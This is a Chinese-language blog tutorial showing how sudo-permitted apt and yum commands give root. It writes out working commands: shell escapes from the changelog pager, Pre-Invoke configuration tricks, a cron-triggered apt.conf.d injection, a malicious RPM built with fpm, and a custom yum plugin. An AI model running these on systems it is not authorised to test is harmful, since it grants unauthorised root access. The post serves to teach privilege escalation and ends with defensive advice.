免责声明:本文所涉及的技术仅供学习和参考,严禁使用本文内容从事违法行为和未授权行为,如因个人原因造成不良后果,均由使用者本人负责,作者及本博客不承担任何责任。
前言
在Linux系统中,apt和yum是两种常见的包管理工具,分别用于Debian/Ubuntu和CentOS/RHEL等发行版,如果配置不当极有可能导致linux提权问题,进而导致服务器受到安全威胁。
apt包管理器
通过changelog日志提权
当普通用户允许通过特权模式执行apt命令的时候,可通过changelog日志进行提权。
sudo apt changelog apt
该命令是一个用于查看 apt 软件包更新日志的命令。changelog 是软件包的一部分,记录了该软件包每次更新时的变更内容,包括新功能、修复的漏洞、改进等。
执行该命令,会进入到一个软件包变更内容的日志当中:
在此界面输入!/bin/bash可直接进入对应权限的bash环境当中:
通过安装软件包执行命令提权
当普通用户允许通过特权模式执行apt命令的时候,可通过修改apt配置选项在安装软件包时执行命令。
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/bash;false"}' > $TF
sudo apt install -c $TF vim
Dpkg::Pre-Invoke是apt的一个配置选项,用于在安装软件包之前执行指定的命令,将配置信息写入到$TF中,这里执行/bin/bash获取一个新的bash环境。
vim是一个软件包,通过安装vim(可以是任意软件包)同时指定临时文件$TF作为配置文件。
可以看到安装完成软件后自动进入到了root的bash环境当中。
通过update更新包提权
当普通用户允许通过特权模式执行apt命令的时候,可通过apt配置选项尝试在更新软件包之前执行命令进行提权。
sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash
APT::Update::Pre-Invoke是更新操作之前执行指定的命令,通过该命令可在apt包更新之前执行/bin/bash命令从而进行提权。
通过crontab定时任务提权
当crontab以特权用户定期执行apt update时,这通常是在有定时更新软件包需求的服务器上,可通过预调用脚本执行命令提权。
该服务器每一分钟执行一次apt update。
创建一个预调用脚本文件:
#!/bin/bash
APT::Update::Pre-Invoke {"echo `id` > /tmp/result.txt"}
这里只使用执行id命令作为演示。
/etc/apt/apt.conf.d/ 是Linux系统中apt的配置文件目录,如果该文件夹存在可编辑的配置文件,可以将上述预调用脚本文件的恶意代码写入其中。
查看该目录:
脚本的名称开头需要2位数字,且根据数字的大小从小到大依次执行,所以应该将脚本数字命名得尽可能小或修改数字尽可能小的文件。这里00periodic是最小的且可编辑,将恶意代码写入到脚本。
等待1分钟后可以看到已经执行了脚本的命令:
yum包管理器
通过特制的 RPM 包提权
当普通用户允许通过特权模式执行yum命令的时候,可通过制作带有恶意代码的rpm包执行命令提权。
TF=$(mktemp -d)
echo 'id' > $TF/shell.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/shell.sh $TF
创建一个唯一的临时目录,并将该目录的路径赋值给变量 TF,临时目录中创建一个名为 shell.sh 的文件,将命令id写入shell.sh,生成rpm包并使用--before-install在安装之前执行$TF/shell.sh。
sudo yum localinstall -y x-1.0-1.noarch.rpm
成功执行了id命令,显示是root。
通过自定义插件提权
当普通用户允许通过特权模式执行yum命令的时候,可通过自定义插件生成shell提权。
TF=$(mktemp -d)cat >$TF/x <<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOFcat >$TF/y.conf <<EOF
[main]
enabled=1
EOFcat >$TF/y.py <<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):os.execl('/bin/bash','/bin/bash')
EOF
通过自定义的 yum 插件脚本,使插件在初始化的时候执行os.execl('/bin/bash','/bin/bash')获取对应的bash环境。
sudo yum -c $TF/x --enableplugin=y
执行命令获取权限。
总结
配置不当的包管理器可通过拼接命令和制作特定文件的方式执行命令进行提权,想要防止此类事件的发生,配置合理的命令权限和限制 apt 预调用脚本的权限非常重要。